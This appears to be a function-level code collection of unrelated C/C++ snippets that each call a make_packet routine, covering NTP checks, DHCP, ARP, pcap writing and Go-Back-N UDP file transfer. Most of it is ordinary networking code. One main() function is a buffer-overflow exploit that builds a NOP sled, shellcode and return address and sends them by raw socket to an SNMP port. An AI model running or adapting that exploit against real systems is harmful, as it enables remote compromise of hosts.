void send_data_packets() { int i; struct sockaddr_in* from; int retsize, chunk_size; int * upload_id_list = get_upload_list(&retsize); int * upload_chunk_id_list = get_upload_chunk_list(&chunk_size); int peer_id; unsigned seq_number; int canSend; int timeout; for(i = 0; i < retsize; i++) { peer_id = upload_id_list[i]; canSend = 1; /* if timeout send timeout packet first */ if ((seq_number = get_timeout_seq(peer_id)) == 0) { /* if not timout, check window size */ if(get_queue_size(peer_id) < get_cwnd_size(peer_id)) { seq_number = get_tail_seq_number(peer_id); /* transmit */ timeout = 0; } else{ canSend = 0; } } else { /* retransmit */ printf("retransmit\n"); window_timeout(peer_id); seq_number -= 1; /* offset by 1 */ timeout = 1; } //printf("seq: %d, canSend: %d, queue: %d, cwnd: %d\n", seq_number, canSend, get_queue_size(peer_id), get_cwnd_size(peer_id)); /* send one packet one time to ensure fairness */ if(canSend && seq_number < MAX_PACKET_PER_CHUNK) { char data[MAX_PAYLOAD_SIZE]; struct packet* packet; if(seq_number==MAX_PACKET_PER_CHUNK-1){ int last_packet_size = BT_CHUNK_SIZE-MAX_PAYLOAD_SIZE*(MAX_PACKET_PER_CHUNK-1); read_file(master_data_file_name, data, last_packet_size, upload_chunk_id_list[i] * BT_CHUNK_SIZE + seq_number * MAX_PAYLOAD_SIZE); packet = make_packet(DATA, NULL, data, last_packet_size, seq_number + 1, 0, NULL, NULL, NULL); }else{ read_file(master_data_file_name, data, MAX_PAYLOAD_SIZE, upload_chunk_id_list[i] * BT_CHUNK_SIZE + seq_number * MAX_PAYLOAD_SIZE); packet = make_packet(DATA, NULL, data, MAX_PAYLOAD_SIZE, seq_number + 1, 0, NULL, NULL, NULL); } /* Send DATA */ from = find_addr(peer_id); send_packet(*packet, sock, (struct sockaddr*)from); wait_ack(peer_id, seq_number + 1, timeout); free(packet->header); free(packet); } } free(upload_id_list); free(upload_chunk_id_list); }
/* this one saves the paremeters from builder window into a file */ int save_packet(GtkButton *button, gpointer user_data, FILE *file_p) { if (make_packet(button, user_data) == -1) { return -1; } struct pcap_hdr fh; fh.magic = PCAP_MAGIC; fh.version_major = 2; fh.version_minor = 4; fh.thiszone = 0; fh.sigfigs = 0; fh.snaplen = 102400; fh.network = pcap_link_type; fwrite(&fh, sizeof(fh), 1, file_p); struct pcaprec_hdr ph; ph.ts_sec = 0; ph.ts_usec = 0; ph.incl_len = number; ph.orig_len = number; fwrite(&ph, sizeof(ph), 1, file_p); fwrite(packet, number, 1, file_p); return 1; }
int check_ntp(char *host, unsigned short port, int timeout, int *value_int) { zbx_sock_t s; int ret; char *buf = NULL, packet[NTP_PACKET_MIN]; ntp_data data; *value_int = 0; if (SUCCEED == (ret = zbx_tcp_connect(&s, CONFIG_SOURCE_IP, host, port, timeout))) { make_packet(&data); pack_ntp((unsigned char *)packet, sizeof(packet), &data); if (SUCCEED == (ret = zbx_tcp_send_raw(&s, packet))) { if (SUCCEED == (ret = zbx_tcp_recv(&s, &buf))) { unpack_ntp(&data, (unsigned char *)buf, (int)strlen(buf)); *value_int = (0 < data.receive ? (int)(data.receive - ZBX_JAN_1970_IN_SEC) : 0); } } zbx_tcp_close(&s); } if (FAIL == ret) zabbix_log(LOG_LEVEL_DEBUG, "NTP check error: %s", zbx_tcp_strerror()); return SYSINFO_RET_OK; }
int check_ntp(char *host, unsigned short port, int timeout, int *value_int) { zbx_socket_t s; int ret; char request[NTP_PACKET_SIZE]; ntp_data data; *value_int = 0; if (SUCCEED == (ret = zbx_udp_connect(&s, CONFIG_SOURCE_IP, host, port, timeout))) { make_packet(&data); pack_ntp(&data, (unsigned char *)request, sizeof(request)); if (SUCCEED == (ret = zbx_udp_send(&s, request, sizeof(request), timeout))) { if (SUCCEED == (ret = zbx_udp_recv(&s, timeout))) { *value_int = (SUCCEED == unpack_ntp(&data, (unsigned char *)request, (unsigned char *)s.buffer, s.read_bytes)); } } zbx_udp_close(&s); } if (FAIL == ret) zabbix_log(LOG_LEVEL_DEBUG, "NTP check error: %s", zbx_socket_strerror()); return SYSINFO_RET_OK; }
void routing_send_signal( int to, int sig ) { read_packet *rp = make_packet( sig, FPM_DEV, to, NULL, NULL ); if( write( fpm, rp, sizeof( read_packet ) ) < 0 ) { fprintf(stderr, "%s: Write error - %s\n", __func__, strerror( errno ) ); } free_packet(rp); }
struct pkt send_packet(int target, int seq, int ack, char* payload) { struct pkt packet_out; packet_out = make_packet(seq, ack, payload); printf("%c: Sending packet (%d, %d, %d ,'%s')\n",(target == 0) ? 'A' : 'B' ,packet_out.seqnum, packet_out.acknum, packet_out.checksum, packet_out.payload); stats.packets_sent++; tolayer3(target, packet_out); //send out the built packet from A return packet_out; }
void dhcp_request() { if (next_state != REQUEST) { fprintf(err, "State is not REQUEST!\n"); return; } fprintf(err, "dhcp_request()...\n"); int len; struct dhcp_packet *packet = make_packet(&len); send_packet((char*)packet, len); free(packet); next_state = ACK; dhcp_ack(); }
// this routine handles returning responses from the virtual terminals to the // driver for sorting and queueing. The variable 's' represents the mapped // response while 't' represents the raw response. void routing_return( int target, char *s, char *t ) { read_packet *rp = NULL; if (s == NULL) return; rp = make_packet( DATA, FPM_DEV, target, s, t ); printf("%s: write combined mapped+raw response (%d bytes)\n", __func__, rp->size); if( write( fpm, rp, sizeof(read_packet) + rp->size ) < 0 ) { printf("%s: Write error - %s\n", __func__, strerror( errno ) ); } free_packet(rp); printf("%s: write to fpm\n", __func__ ); }
//===================================================================================== // // * Function : arp_request() // * Description // make_packet() 함수를 이용해 ARP request packet을 생성한 뒤 10번 내보낸다. // //===================================================================================== void arp_request(u_char *tip) { u_char packet[42]; int i=0; pcap_t *fp = adhandle; make_packet(packet,tip); /* Send down the packet */ for(i=0; i<10; i++){ if (pcap_sendpacket(fp, packet,42) != 0) { log("[Error] Error sending the packet"); return; } } }
int check_ntp(char *host, unsigned short port, int *value_int) { zbx_sock_t s; int ret; char *buf = NULL; ntp_data data; char packet[NTP_PACKET_MIN]; assert(value_int); *value_int = 0; if (SUCCEED == (ret = zbx_tcp_connect(&s, CONFIG_SOURCE_IP, host, port, 0))) { make_packet(&data); pack_ntp((unsigned char*)packet, sizeof(packet), &data); if( SUCCEED == (ret = zbx_tcp_send_raw(&s, packet)) ) { if( SUCCEED == (ret = zbx_tcp_recv(&s, &buf)) ) { unpack_ntp(&data, (unsigned char *)buf, (int)strlen(buf)); #if OFF /* local time */ *value_int = time(NULL); #else /* server time */ *value_int = (data.receive > 0) ? (int)(data.receive - ZBX_JAN_1970_IN_SEC) : 0; #endif } } } zbx_tcp_close(&s); if( FAIL == ret ) { zabbix_log(LOG_LEVEL_DEBUG, "NTP check error: %s", zbx_tcp_strerror()); } return SYSINFO_RET_OK; }
void dhcp_discover() { if (next_state != DISCOVER) { fprintf(err, "State is not DISCOVER!\n"); return; } fprintf(err, "dhcp_discover()...\n"); generate_xid(); renew = 0; int len; struct dhcp_packet *packet = make_packet(&len); send_packet((char*)packet, len); free(packet); next_state = OFFER; dhcp_offer(); }
void whohas_flooding(struct Request* request){ int packet_count = 0; struct packet* packets = make_packet(WHOHAS, NULL, NULL, -1, 0, 0, NULL, &packet_count, request); int i; for(i=0;i<packet_count;i++){ print_packet(&packets[i]); } if(packet_count!=0){ struct bt_peer_s* peer = config.peers; while(peer!=NULL) { if(peer->id==config.identity){ peer = peer->next; } else{ send_whohas_packet_to_all(packets, packet_count, sock, (struct sockaddr*)&peer->addr); peer = peer->next; } } } free_packets(packets, packet_count); return; }
int main(int argc, char *argv[]) { /*--- Constant definitions ---*/ const int one = 1; /*---------------------------------*/ /*--- Networking Variables ---*/ struct sockaddr_in sin; u_int32_t addr; int sock; int src; int dst=-1; /*---------------------------------*/ /*--- Exploitation Variables ---*/ char buf[MAX_BUFF]; char *p; int ret; int shellcodelen; int retpos; int buffersize; /*---------------------------------*/ /*--- Option Handling Variables ---*/ int arg; int cnt; int typeosys=0; int debugit=0; int port=161; int echo=0; /*-------------------------------------*/ if(argc < 3) usage(argv[0]); src = resolve("127.0.0.1"); while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) { switch(arg) { case 'e': echo = 1; break; case 's': src = resolve(optarg); break; case 'd': dst = resolve(optarg); break; case 't': typeosys = atoi(optarg); break; case 'x': debugit=1; break; case 'p': port = atoi(optarg); default: printf("Invalid argument, %c\n",arg); usage(argv[0]); } } if(dst == -1) { printf("Missing destination address.\n"); usage(argv[0]); } shellcodelen= strlen(the_targets[typeosys].shellcode); addr= the_targets[typeosys].ret_address; retpos= the_targets[typeosys].rets_position; buffersize=the_targets[typeosys].buffer_size; if(buffersize>MAX_BUFF-1) { printf("Must increase MAX_BUFF define to something >= %d\n",buffersize); exit(-1); } memset(buf, the_targets[typeosys].nop, buffersize); memcpy(buf + retpos, &addr, sizeof(addr)); memcpy(buf + retpos - shellcodelen, the_targets[typeosys].shellcode, shellcodelen); if(debugit==1) { for(cnt=1;cnt<buffersize;cnt++) buf[cnt]=(char) cnt; } buf[buffersize] = '\0'; p = make_packet(buf, src, dst, echo); /*--- Create the socket to send data on ---*/ sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(sock == -1) { perror("socket"); exit(1); } /*---------------------------------------------*/ /*--- Setup the socket's options ---*/ if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) { perror("setsockopt"); exit(1); } /*-------------------------------------*/ /*--- Setup the Socket type/dest ---*/ sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = dst; /*-------------------------------------*/ /*--- Send the udp packet and error check ---*/ printf("Sending Packet..."); ret = sendto(sock, p, HDR_SZ + PACKET_SZ + buffersize, 0, &sin, sizeof(sin)); if(ret == -1) { perror("sendto"); exit(1); } printf("sent.\n"); /*---------------------------------------------*/ return(0); }
int main(int argc, char **argv) { if (argc<6) { fprintf(stderr,"ERROR, not enough argument\n"); exit(1); } std::string filename(argv[1]); int SERVICE_PORT =atoi(argv[2]); std::string s_add(argv[3]); int portno = atoi(argv[4]); std::string logname(argv[5]); char cCurrentPath[FILENAME_MAX]; if (!getcwd(cCurrentPath, sizeof(cCurrentPath))) { return errno; } std::string pathname(cCurrentPath); filename = pathname + "/" + filename; if (logname=="stdout") { logfs = stdout; } else{ logname = pathname + "/" + logname; logfs = fopen(logname.c_str(), "w"); } FILE *ofs = fopen(filename.c_str(), "w"); //FILE *ofs = fopen("/Users/Rex/Desktop/cn_second/cn_second/o.txt", "w"); struct sockaddr_in myaddr; /* our address */ struct sockaddr_in remaddr; /* remote address */ socklen_t addrlen = sizeof(remaddr); /* length of addresses */ int recvlen; /* # bytes received */ int fd; /* our socket */ /* create a UDP socket */ if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("cannot create socket\n"); return 0; } /* bind the socket to any valid IP address and a specific port */ memset((char *)&myaddr, 0, sizeof(myaddr)); myaddr.sin_family = AF_INET; myaddr.sin_addr.s_addr = htonl(INADDR_ANY); myaddr.sin_port = htons(SERVICE_PORT); if (bind(fd, (struct sockaddr *)&myaddr, sizeof(myaddr)) < 0) { perror("bind failed"); return 0; } /////intial ack related sender tcp////// int n,sockfd; struct sockaddr_in serv_addr; struct hostent *server; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) printf("ERROR opening socket"); server = gethostbyname(s_add.c_str()); if (server == NULL) { fprintf(stderr,"ERROR, no such host\n"); exit(0); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0) printf("ERROR connecting"); int ws; char addtmp[256]; read(sockfd, &ws, sizeof(int)); read(sockfd, addtmp, 255); write(sockfd,s_add.c_str() , s_add.size() ); //local = string(addtmp,strlen(addtmp)); local = "127.0.0.1"; ////////// std::vector<out_order_buffer_unit> out_order_buf; for(int i = 0; i<ws; i ++){ byte *temp = new byte[BUFSIZE+20]; out_order_buffer_unit tmp(-1,temp); out_order_buf.push_back(tmp); } /* now loop, receiving data and printing what we received */ //printf("waiting on port %d\n", SERVICE_PORT); byte *tcp_packet = new byte[20+BUFSIZE]; short flag,checksum,trash_short; short len = BUFSIZE; int totalbyte = 0,countretrans=0; int seq = 0,acknum = 0,rcv_base = 0,trash_int = 0,hehe; while(1){ recvlen = recvfrom(fd, tcp_packet, 20+BUFSIZE, 0, (struct sockaddr *)&serv_addr, &addrlen); len = parse_packet(tcp_packet, &seq, &acknum, &flag, &checksum); writelog(time(0), s_add, local, seq*BUFSIZE, seq*BUFSIZE+1, flag, -1); if (flag == END) { break; } if (len==-1){ continue; } else{ if (seq==rcv_base) { totalbyte += 20+len; //string tmp = "len is "+std::to_string(len)+"\n"; //fwrite(tmp.c_str(), 1, tmp.size(), logfs); //std::cout<<"len is "<<len<<"\n"; //std::cout<<"Write seq # "<<seq<<" with len = "<<len<<"\n"; fwrite(tcp_packet+20, 1, len, ofs); //greedy check buffer int target = seq+1; rcv_base++; for(int i = 0; i<ws; i++){ if (out_order_buf[i].first == target){ short len_t = parse_packet(out_order_buf[i].second, &hehe, &trash_int, &trash_short, &trash_short); //tmp = "len_t is "+std::to_string(len_t)+"\n"; //fwrite(tmp.c_str(), 1, tmp.size(), logfs); fwrite( (out_order_buf[i].second)+ 20, 1, len_t, ofs); totalbyte += 20+len_t; rcv_base++; target++; out_order_buf[i].first = -1; } } acknum = seq+1; flag = ACK; make_packet(tcp_packet, &seq, &acknum, &flag, &checksum, ofs); n = write(sockfd, tcp_packet, 20); if (n < 0) printf("ERROR writing to socket"); writelog(time(0), local, s_add, seq*BUFSIZE, seq*BUFSIZE+1, flag, -1); } else //out of order, buffer it { for(int i = 0; i<ws; i++){ if (out_order_buf[i].first == -1){ memcpy(out_order_buf[i].second, tcp_packet, 20+BUFSIZE); out_order_buf[i].first = seq; sort(out_order_buf.begin(),out_order_buf.end()); break; } } acknum = seq + 1; flag = ACK; checksum = 0; make_packet(tcp_packet, &seq, &acknum, &flag, &checksum, ofs); n = write(sockfd, tcp_packet, 20); if (n < 0) printf("ERROR writing to socket"); writelog(time(0), local, s_add, seq*BUFSIZE, seq*BUFSIZE+1, flag, -1); } } //printf("seq is %d\n",seq); } string summary = "Transmission was successful!\nTotal bytes sent is "+std::to_string(totalbyte)+ "\nNumber of sent segment is "+std::to_string(seq)+"\n"; fwrite(summary.c_str(), 1, summary.size(), logfs); fclose(logfs); fclose(ofs); free(tcp_packet); for(int i = 0; i<ws; i ++){ free(out_order_buf[i].second); } return 0; }
int main(int argc, char *argv[]) { int sockfd; int portno, n_char; int slen; struct sockaddr_in serv_addr; struct hostent *server; char *hostname, *filepath; double p_loss, p_corrupt; p_loss = 0.0; p_corrupt = 0.0; int expect_seq_num; struct packet snd_pkt, rcv_pkt; FILE* file; if (argc < 4) { fprintf(stderr, "Usage: %s hostname port filepath [loss ratio] [corrupt ratio]\n", argv[0]); exit(0); } switch (argc) { case 6: p_corrupt = atof(argv[5]); case 5: p_loss = atof(argv[4]); default: filepath = argv[3]; portno = atoi(argv[2]); hostname = argv[1]; break; } sockfd = socket(AF_INET, SOCK_DGRAM, 0); // Using UDP! if (sockfd < 0) { error("Error opening socket"); } server = gethostbyname(hostname); if (server == NULL) { fprintf(stderr, "Error: no such host\n"); exit(0); } bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); // Create the initial packet expect_seq_num = 1; snd_pkt = make_packet(); set_syn(&snd_pkt); snd_pkt.seq_num = 0; set_data(&snd_pkt, filepath, strlen(filepath)); slen = sizeof(serv_addr); char str[100] = "copy_"; char *dirc, *basec, *dname, *bname; dirc = strdup(filepath); basec = strdup(filepath); dname = dirname(dirc); bname = basename(basec); file = fopen(strcat(str, bname), "wb"); // Send the initial packet msg("Sending file request to sender...\n"); n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, slen); if (n_char < 0) { error("Error sending packet"); } // Go-Back-N FSM while (1) { // Wait to receive a message // if (rcv_pkt) // { // free(rcv_pkt); // } rcv_pkt = make_packet(); n_char = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr*)&serv_addr, (socklen_t*)&slen); if (check_none(&rcv_pkt)) { msg("No such file exists on the sender side\n"); fclose(file); remove(str); teardown(NULL, sockfd); } if (check_fin(&rcv_pkt)) // server closing connection { msg("-> FIN\n"); msg("<- FIN-ACK ...\n"); //free(&snd_pkt); snd_pkt = make_packet(); set_fin(&snd_pkt); n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); if (n_char < 0) { error("Error sending FIN-ACK"); } //free(&rcv_pkt); //free(&snd_pkt); teardown(file, sockfd); break; } if (n_char < 0) { msg("Packet from sender LOST\n"); } else if (chance() < p_loss) { msg("Packet from sender LOST\n"); } else if (chance() < p_corrupt) { msg("Packet from sender CORRUPT\n"); msg("<- RE-ACK: SEQNUM %d ...\n", snd_pkt.seq_num); int n_char; n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); if (n_char < 0) { error("Error acking packet\n"); } } else if (rcv_pkt.seq_num == expect_seq_num) { msg("-> DATA: SEQNUM %d\n", rcv_pkt.seq_num); fwrite(rcv_pkt.data, 1, rcv_pkt.d_length, file); expect_seq_num++; //free(&snd_pkt); snd_pkt = make_packet(); set_ack(&snd_pkt); snd_pkt.seq_num = rcv_pkt.seq_num; send_ack(sockfd, snd_pkt, serv_addr); } else if (rcv_pkt.seq_num < expect_seq_num) { msg("-> DATA: SEQNUM %d\n", rcv_pkt.seq_num); //free(&snd_pkt); snd_pkt = make_packet(); set_ack(&snd_pkt); snd_pkt.seq_num = rcv_pkt.seq_num; msg("<- RE-ACK: SEQNUM %d ...\n", snd_pkt.seq_num); int n_char; n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); if (n_char < 0) { error("Error acking packet\n"); } } else { msg("-> DATA: SEQNUM %d\n", rcv_pkt.seq_num); msg("<- RE-ACK: SEQNUM %d ...\n", snd_pkt.seq_num); int n_char; n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); if (n_char < 0) { error("Error acking packet\n"); } } } }
static int ifconfig(char *ifname) { struct ifinfo *ifinfo; struct sockaddr_dl *sdl; int flags; if ((sdl = if_nametosdl(ifname)) == NULL) { warnmsg(LOG_ERR, __func__, "failed to get link layer information for %s", ifname); return(-1); } if (find_ifinfo(sdl->sdl_index)) { warnmsg(LOG_ERR, __func__, "interface %s was already configured", ifname); free(sdl); return(-1); } if ((ifinfo = malloc(sizeof(*ifinfo))) == NULL) { warnmsg(LOG_ERR, __func__, "memory allocation failed"); free(sdl); return(-1); } memset(ifinfo, 0, sizeof(*ifinfo)); ifinfo->sdl = sdl; strncpy(ifinfo->ifname, ifname, sizeof(ifinfo->ifname)); /* construct a router solicitation message */ if (make_packet(ifinfo)) goto bad; /* * check if the interface is available. * also check if SIOCGIFMEDIA ioctl is OK on the interface. */ ifinfo->mediareqok = 1; ifinfo->active = interface_status(ifinfo); if (!ifinfo->mediareqok) { /* * probe routers periodically even if the link status * does not change. */ ifinfo->probeinterval = PROBE_INTERVAL; } /* activate interface: interface_up returns 0 on success */ flags = interface_up(ifinfo->ifname); if (flags == 0) ifinfo->state = IFS_DELAY; else if (flags == IFS_TENTATIVE) ifinfo->state = IFS_TENTATIVE; else ifinfo->state = IFS_DOWN; rtsol_timer_update(ifinfo); /* link into chain */ if (iflist) ifinfo->next = iflist; iflist = ifinfo; return(0); bad: free(ifinfo->sdl); free(ifinfo); return(-1); }
int main(int argc, char *argv[]) { int cwnd; cwnd = 4000; // default cwnd timeout = 0; int WINDOW_SIZE; double p_loss, p_corrupt; p_loss = 0.0; p_corrupt = 0.0; struct sockaddr_in serv_si, cli_si; struct packet snd_pkt, rcv_pkt; FILE *file; struct stat file_stat; int n_packets; int readlength; int portno, sockfd, i, recv_len, send_len; int slen = sizeof(cli_si); if (argc < 2) { fprintf(stderr, "Usage: %s port [cwnd] [loss ratio] [corrupt ratio]\n", argv[0]); exit(0); } switch (argc) { case 5: p_corrupt = atof(argv[4]); case 4: p_loss = atof(argv[3]); case 3: cwnd = atoi(argv[2]); default: portno = atoi(argv[1]); break; } WINDOW_SIZE = cwnd / PACKET_SIZE; //create a UDP socket if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { die("socketfd error", sockfd); } // zero out the structure memset((char *) &serv_si, 0, sizeof(serv_si)); serv_si.sin_family = AF_INET; serv_si.sin_port = htons(portno); serv_si.sin_addr.s_addr = htonl(INADDR_ANY); //bind socket to port if(bind(sockfd , (struct sockaddr*)&serv_si, sizeof(serv_si)) == -1) { die("error in bind\n", sockfd); } rcv_pkt = make_packet(); msg("Waiting for file request...\n"); if ((recv_len = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr *) &cli_si, (socklen_t*)&slen)) == -1) { die("error receive syn", sockfd); } snd_pkt = make_packet(); if (check_syn(&rcv_pkt)) { msg("Received file request for %s\n", rcv_pkt.data); file = fopen(rcv_pkt.data, "rb"); if (file == NULL) // no file exists { msg("No such file, sending NONE packet...\n"); set_none(&snd_pkt); if ((send_len = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&cli_si, slen)) == -1) { die("Error sending NONE", sockfd); } teardown(file, sockfd); } } stat(rcv_pkt.data, &file_stat); n_packets = file_stat.st_size / DATA_SIZE; if (file_stat.st_size % DATA_SIZE) { n_packets++; } int base, next_seq, last_ack = 1; base = 1; next_seq = 1; last_ack = 0; int pktindex; struct packet pkt_win[WINDOW_SIZE]; char buf[PACKET_SIZE]; struct sigaction act; memset (&act, '\0', sizeof(act)); act.sa_sigaction = &handle_sigalrm; act.sa_flags = 0; sigaction(SIGALRM, &act, NULL); //sets timeout handler // Send initial packets for (i = 0; i < min(WINDOW_SIZE, n_packets); i++) { memset(buf, 0, PACKET_SIZE); snd_pkt = make_packet(); snd_pkt.seq_num = i + 1; readlength = fread(buf, sizeof(char), DATA_SIZE, file); set_data(&snd_pkt, buf, readlength); pkt_win[i] = snd_pkt; msg("<- DATA: SEQNUM %d ...\n", snd_pkt.seq_num); if (sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr *)&cli_si, slen) < 0) { error("ERROR on sending"); } next_seq++; } while (base <= n_packets) { if (timeout) { int n_char; int resend_base = base; msg("TIMEOUT: resending packets %d - %d\n", resend_base, min(resend_base + WINDOW_SIZE - 1, n_packets)); while (resend_base < next_seq) { pktindex = (resend_base - 1) % WINDOW_SIZE; send_len = sendto(sockfd, &pkt_win[pktindex], sizeof(pkt_win[pktindex]), 0, (struct sockaddr*)&cli_si, slen); if (send_len < 0) { die("Error sending packet during timeout", sockfd); } msg("Retransmitting DATA with SEQNUM %d ...\n", resend_base); resend_base++; } timeout = 0; alarm(TO_SEC); } rcv_pkt = make_packet(); if ((recv_len = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr *) &cli_si, (socklen_t*)&slen)) == -1) { // Timed out, recvfrom unblocked. // Continue, let loop hit timeout block above continue; } else if (chance() < p_loss) { msg("Packet from receiver LOST\n"); } else if (chance() < p_corrupt) { msg("Packet from receiver CORRUPT\n"); } else if (check_fin(&rcv_pkt)) { msg("-> FIN-ACK\n"); teardown(file, sockfd); } else if (rcv_pkt.seq_num == base) { // Correct ACK received, stop timer alarm(0); msg("-> ACK: SEQNUM %d\n", rcv_pkt.seq_num); last_ack = rcv_pkt.seq_num; base = rcv_pkt.seq_num + 1; // Send packets if (next_seq <= min(base + WINDOW_SIZE, n_packets + 1)) { memset(buf, 0, PACKET_SIZE); if ((readlength = fread(buf, sizeof(char), DATA_SIZE, file)) == 0) { // struct packet fin_pkt = make_packet(); // set_fin(fin_pkt); // fin_pkt.seq_num = next_seq; // if ((send_len = sendto(sockfd, &finpkt, sizeof(finpkt), 0, (struct sockaddr*)&cli_si, slen)) < 0) { // die("Error sending packet during fin", sockfd); // } // else { // msg("<- FIN ...\n"); // alarm(TO_SEC); // } alarm(TO_SEC); } else { snd_pkt = make_packet(); set_data(&snd_pkt, buf, readlength); snd_pkt.seq_num = next_seq; pktindex = (next_seq - 1) % WINDOW_SIZE; pkt_win[pktindex] = snd_pkt; msg("<- DATA: SEQNUM %d ...\n", next_seq); if ((send_len = sendto(sockfd, &pkt_win[pktindex], sizeof(pkt_win[pktindex]), 0, (struct sockaddr*)&cli_si, slen)) < 0) { die("Error sending packet during data", sockfd); } if (next_seq == base) { alarm(TO_SEC); } if (next_seq <= n_packets) { next_seq++; } } } } else { // Incorrect ACK received, restart timer alarm(TO_SEC); } } // Send FIN snd_pkt = make_packet(); set_fin(&snd_pkt); msg("<- FIN ...\n"); if ((send_len = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&cli_si, slen)) < 0) { die("Error sending packet during teardown", sockfd); } rcv_pkt = make_packet(); if ((recv_len = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr *) &cli_si, (socklen_t*)&slen)) > 0) { if (check_fin(&rcv_pkt)) { msg("-> FIN-ACK\n"); teardown(file, sockfd); } } teardown(file, sockfd); return 0; }